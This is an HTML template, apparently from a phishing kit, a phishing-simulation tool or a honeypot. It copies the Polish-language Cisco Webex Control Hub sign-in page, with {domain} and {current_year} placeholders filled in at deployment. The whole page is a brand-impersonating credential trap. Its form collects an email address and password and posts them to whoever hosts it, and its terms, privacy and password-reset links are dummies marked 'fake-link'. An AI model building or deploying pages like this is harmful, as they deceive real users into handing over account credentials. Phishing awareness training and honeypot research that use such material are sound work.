<html>
  <head>
    <base href="/" />
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="description" content="" />
    <meta name="viewport" content="width=device-width" />
    <link
      rel="icon"
      type="image/png"
      href="{domain}/static/cisco-webex-icon.png"
    />
    <title>Cisco Webex Control Hub</title>
    <style>
      * {
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
      }

      html {
        height: 100%;
        font-size: 16px;
        font-family: sans-serif;
        -ms-text-size-adjust: 100%;
        -webkit-text-size-adjust: 100%;
        box-sizing: border-box;
      }

      body,
      html {
        height: 100%;
        font-size: 16px;
      }

      body {
        position: relative;
        padding: 0;
        margin: 0;
        font-family: "CiscoSansTT Regular", "Helvetica Neue", Helvetica, Arial,
          sans-serif;
        font-style: normal;
        font-weight: 400;
        line-height: 1.71429;
        color: #292929;
        cursor: auto;
        background: #fff;
      }

      .fake-link {
        cursor: pointer;
      }

      .md .blockquote,
      .md .dd,
      .md .dl,
      .md .dt,
      .md .h1,
      .md .h2,
      .md .h3,
      .md .h4,
      .md .h5,
      .md .h6,
      .md .li,
      .md .md-blockquote,
      .md .md-dd,
      .md .md-dl,
      .md .md-dt,
      .md .md-form__section .section__content .sub-section__description,
      .md .md-h1,
      .md .md-h2,
      .md .md-h3,
      .md .md-h4,
      .md .md-h5,
      .md .md-h6,
      .md .md-li,
      .md .md-p,
      .md .md-pre,
      .md .md-td,
      .md .md-th,
      .md .p,
      .md .pre,
      .md .td,
      .md .th,
      blockquote,
      dd,
      div,
      dl,
      dt,
      form,
      h1,
      h2,
      h3,
      h4,
      h5,
      h6,
      li,
      ol,
      p,
      pre,
      td,
      th,
      ul {
        padding: 0;
        margin: 0;
        font-weight: 400;
      }

      .md-button.md-button--blue.disabled,
      .md-button.md-button--blue.disabled:focus,
      .md-button.md-button--blue.disabled:hover,
      .md-button.md-button--blue.md-button--disabled,
      .md-button.md-button--blue.md-button--disabled:focus,
      .md-button.md-button--blue.md-button--disabled:hover,
      .md-button.md-button--blue[disabled],
      .md-button.md-button--blue[disabled]:focus,
      .md-button.md-button--blue[disabled]:hover {
        color: rgba(0, 0, 0, 0.2);
        fill: rgba(0, 0, 0, 0.2);
        background-color: rgba(0, 0, 0, 0.04);
      }

      .ct-profile
        .md-ng1-card
        article.profile-preview
        > header
        .img
        div.preview-agent-bot
        .agent-bot
        .bot,
      .ct-profile .md-ng1-card div.preview-agent-bot .agent-bot .active,
      .ct-profile .md-ng1-card div.preview-agent-bot .agent-bot .agent,
      .ct-profile .md-ng1-card div.preview-agent-bot .agent-bot .bot,
      .ct-profile
        .md-ng1-card
        div.preview-agent-bot
        .agent-bot
        .common-background,
      .ct-profile
        .md-ng1-card
        div.preview-agent-bot
        .agent-bot
        article.profile-preview
        > header
        .img
        .bot,
      .icon,
      .pi,
      .top-nav--icon,
      .ui-sortable-column-icon,
      .ui-table .ui-table-loading-icon {
        position: relative;
        font-family: momentum-ui-icons;
        speak: none;
        font-style: normal;
        font-weight: 400;
        font-variant: normal;
        text-transform: none;
        line-height: 1;
        white-space: pre;
        text-transform: none;
        direction: ltr;
        font-feature-settings: "liga" 1;
        -moz-osx-font-smoothing: grayscale;
        text-rendering: optimizeLegibility;
        font-smoothing: antialiased;
      }

      [class*="md"] *,
      [class*="md"] ::after,
      [class*="md"] ::before,
      [class*="md"] button,
      [class*="md"] input,
      [class*="md"] select,
      [class*="md"] textarea {
        box-sizing: inherit;
      }

      .md-input-container.md-input--filled
        .md-input:not(.md-select__filter--input).md-hover,
      .md-input-container.md-input--filled
        .md-input:not(.md-select__filter--input):hover {
        background-color: #dedede;
      }

      a {
        background-color: transparent;
        -webkit-text-decoration-skip: objects;
        line-height: inherit;
        color: #007aa3;
        text-decoration: none;
      }

      .md-panel--full {
        position: absolute;
        top: 0;
        left: 0;
        z-index: 1039;
        height: 0;
        min-height: 100vh;
      }

      .md-panel {
        display: flex;
        width: 100vw;
        height: auto;
        padding: 0px;
        text-align: center;
        background: #fff;
        flex-direction: column;
        align-items: center;
        justify-content: center;
      }

      .md-panel__main {
        display: flex;
        width: 100%;
        max-width: 32.5rem;
        flex-direction: column;
        align-items: center;
        flex: 1 auto;
        justify-content: center;
      }

      .md-panel__image {
        width: 100%;
        max-width: 190px;
        max-height: 80px;
        margin-bottom: 3rem;
        font-size: 5rem;
      }

      img {
        border-style: none;
        height: auto;
        max-width: 100%;
        -ms-interpolation-mode: bicubic;
        display: inline-block;
        vertical-align: middle;
      }

      .md-panel__title {
        font-size: 1rem;
        line-height: 1.5rem;
        color: #000;
      }

      .md-panel__message,
      .md-panel__title {
        width: 100%;
        margin-bottom: 0;
        font-family: "CiscoSansTT Regular", "Helvetica Neue", Helvetica, Arial,
          sans-serif;
      }

      .md-panel--form .md-panel__form {
        margin-top: 0.75rem;
        margin-bottom: 0;
        min-width: 320px;
      }

      .md .md-form,
      .md form {
        margin: 0 0 1rem;
      }

      .md-panel--form .md-input-container {
        margin-bottom: 0;
        align-items: center;
      }

      .md-panel .md-input-container, .md-panel .md-input-container .md-button {
        margin: 0 auto;
      }

      .md-input-container {
        display: flex;
        justify-content: normal;
        align-content: normal;
        align-items: normal;
        flex-flow: row wrap;
        box-sizing: border-box;
        margin-bottom: 1rem;
        position: relative;
        line-height: 1.71429;
      }

      .md-input__wrapper {
        box-sizing: border-box;
        display: block;
        flex-grow: 1;
        position: relative;
        padding: 0;
      }

      .md-input-container.md-input--filled
        .md-input:not(.md-select__filter--input) {
        background-color: #ededed;
        border: none;
      }

      .md-input-container .md-input:not(.md-select__filter--input) {
        color: #121212;
        background-color: #fff;
        border-color: #ccc;
      }

      .md-panel--form .md-button,
      .md-panel--form .md-input {
        min-height: 2.5rem;
        padding-right: 1.25rem;
        padding-left: 1.25rem;
        margin-bottom: 0.5rem;
      }

      .md-panel .md-input,
      .md-button {
        width: 100%;
        height: 2.5rem;
        max-width: 20rem;
        border-radius: 6.25rem;
      }

      [class*="md"] button,
      [class*="md"] input {
        overflow: visible;
      }

      .md-input {
        border: 0.0625rem solid;
        border-radius: 4px;
        font-family: "CiscoSansTT Regular", "Helvetica Neue", Helvetica, Arial,
          sans-serif;
        font-size: 1rem;
        height: 2.25rem;
        width: 100%;
        padding: 0 1rem;
        transition: box-shadow ease-out 0.15s;
      }

      button,
      input,
      select,
      textarea {
        margin: 0;
        font: inherit;
      }

      .md-button.md-button--blue {
        color: #fff;
        background-color: #00a0d1;
        border-color: transparent;
      }

      .md-button.md-button--36 {
        font-size: 1rem;
        line-height: 1.5rem;
        border-radius: 1.125rem;
        height: 2.25rem;
        padding: 0.375rem 1.125rem;
      }

      .md-button .md-button__children {
        display: flex;
        justify-content: center;
        align-content: center;
        align-items: center;
        flex-flow: row nowrap;
      }

      .md-button > * {
        font-size: inherit;
      }

      .md-panel__footer {
        flex-direction: column;
        display: flex;
        width: 100%;
        margin-top: 4rem;
        margin-bottom: 2rem;
        font-size: 0.625rem;
        color: #949494;
        align-items: center;
        justify-content: center;
      }

      .md-panel__footer .footer__logo {
        display: flex;
        width: 100%;
        height: 100%;
        max-height: 1.75rem;
        margin-bottom: 0.875rem;
        font-size: 1.75rem;
        justify-content: center;
      }

      @media only screen and (min-width: 40.0625em) {
        .md-panel__footer .footer__logo {
          width: auto;
          margin-bottom: 0;
        }

        .md-panel__footer .footer__copyright {
          margin-left: 1.25rem;
        }
      }

      @media only screen and (min-width: 50em) {
        .md-panel__footer {
          flex-direction: row;
        }
      }

      .md-panel__footer .footer__copyright {
        text-align: center;
        align-self: stretch;
      }

      .md-panel__footer a {
        color: #949494;
      }

      .md-button.md-button--blue {
        color: #fff;
        background-color: #00a0d1;
        border-color: transparent;
        cursor: pointer;
      }

      .md-button.md-button--blue:hover {
        color: #fff;
        background-color: #007aa3;
      }

      .icon-cisco-logo {
        background-repeat: no-repeat;
        background-size: contain;
        width: 110px;
        height: 30px;
      }

      .md-panel--form .md-panel__cta .md-checkbox {
        margin-top: 0.5rem;
        font-family: "CiscoSansTT Regular", "Helvetica Neue", Helvetica, Arial,
          sans-serif;
        color: #545454;
      }

      .md-input-container .md-input:not(.md-select__filter--input) {
        color: #121212;
        background-color: #fff;
        border-color: #ccc;
      }

      .md-checkbox .md-checkbox__input {
        width: 20px;
        padding: 0;
        margin: 5px;
        overflow: hidden;
        clip: rect(0 0 0 0);
        border: 0;
      }

      .md-checkbox .md-checkbox__input + .md-checkbox__label {
        font-family: "CiscoSansTT Regular", "Helvetica Neue", Helvetica, Arial,
          sans-serif;
        color: inherit;
      }

      .md-checkbox .md-checkbox__label {
        display: flex;
        line-height: 1.25rem;
        font-size: 1rem;
        cursor: pointer;
      }

      input:focus,
      select:focus,
      textarea:focus,
      button:focus {
        outline: none;
      }
    </style>
  </head>

  <body class="momentum md md-admin screen-lg login-state">
    <div>
      <div class="momentum md">
        <div class="md-panel md-panel--full md-panel--form md-input--filled">
          <div class="md-panel__main">
            <div class="md-panel__image">
              <img src="{domain}/static/cisco-webex-logo-text.png" />
            </div>

            <div>
              <div class="md-panel__title">
                Wprowadź adres e-mail i hasło
              </div>

              <form
                method="post"
                autocomplete="off"
                class="md-panel__form"
                name="loginForm"
              >
                <div class="md-input-container md-input--filled">
                  <div class="md-input__wrapper">
                    <input
                      class="md-input"
                      focus-on=""
                      name="email"
                      required="true"
                      type="email"
                      placeholder="Adres e-mail"
                    />
                  </div>
                </div>

                <div class="md-input-container md-input--filled">
                  <div class="md-input__wrapper">
                    <input
                      class="md-input"
                      focus-on=""
                      name="password"
                      required="true"
                      type="password"
                      placeholder="Hasło"
                    />
                  </div>
                </div>

                <div class="md-input-container">
                  <button
                    class="md-button--blue md-button md-button--36"
                    type="submit"
                    active="false"
                    tabindex="0"
                  >
                    <span class="md-button__children" style="opacity: 1"
                      >Zaloguj</span
                    >
                  </button>
                </div>

                <div class="md-input-container">
                  <div class="md-input-container md-checkbox">
                    <input
                      class="md-input md-checkbox__input"
                      id="LoginOption0"
                      name="rememberEmail"
                      type="checkbox"
                    />
                    <label class="md-checkbox__label" for="LoginOption0">
                      <span>Zapamiętaj adres e-mail</span>
                    </label>
                  </div>
                </div>

                <div class="md-input-container" style="margin-top: -20px">
                  <div class="md-input-container md-checkbox">
                    <input
                      class="md-input md-checkbox__input"
                      id="LoginOption1"
                      name="keepSignedIn"
                      type="checkbox"
                    />
                    <label class="md-checkbox__label" for="LoginOption1">
                      <span>Nie wylogowuj</span>
                    </label>
                  </div>
                </div>

                <div class="md-input-container" style="margin-top: -10px">
                  <div class="md-input-container">
                    <a class="fake-link md-panel__password-link">Nie pamiętasz hasła?</a>
                  </div>
                </div>
              </form>
            </div>
          </div>
          <div class="md-panel__footer">
            <div class="footer__logo">
              <span
                class="icon icon-cisco-logo"
                style="
                  background-image: url('{domain}/static/cisco-webex-logo.png');
                "
              ></span>
            </div>
            <div class="footer__copyright">
              <div>
                <span
                  >Używając usługi Cisco Webex Teams akceptujesz
                  <a class="fake-link">Warunki korzystania</a>
                  i
                  <a class="fake-link">Politykę prywatności</a>.
                </span>
                <span
                  >© {current_year} Cisco i/lub podmioty stowarzyszone. Wszystkie prawa zastrzeżone.</span
                >
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
  </body>
</html>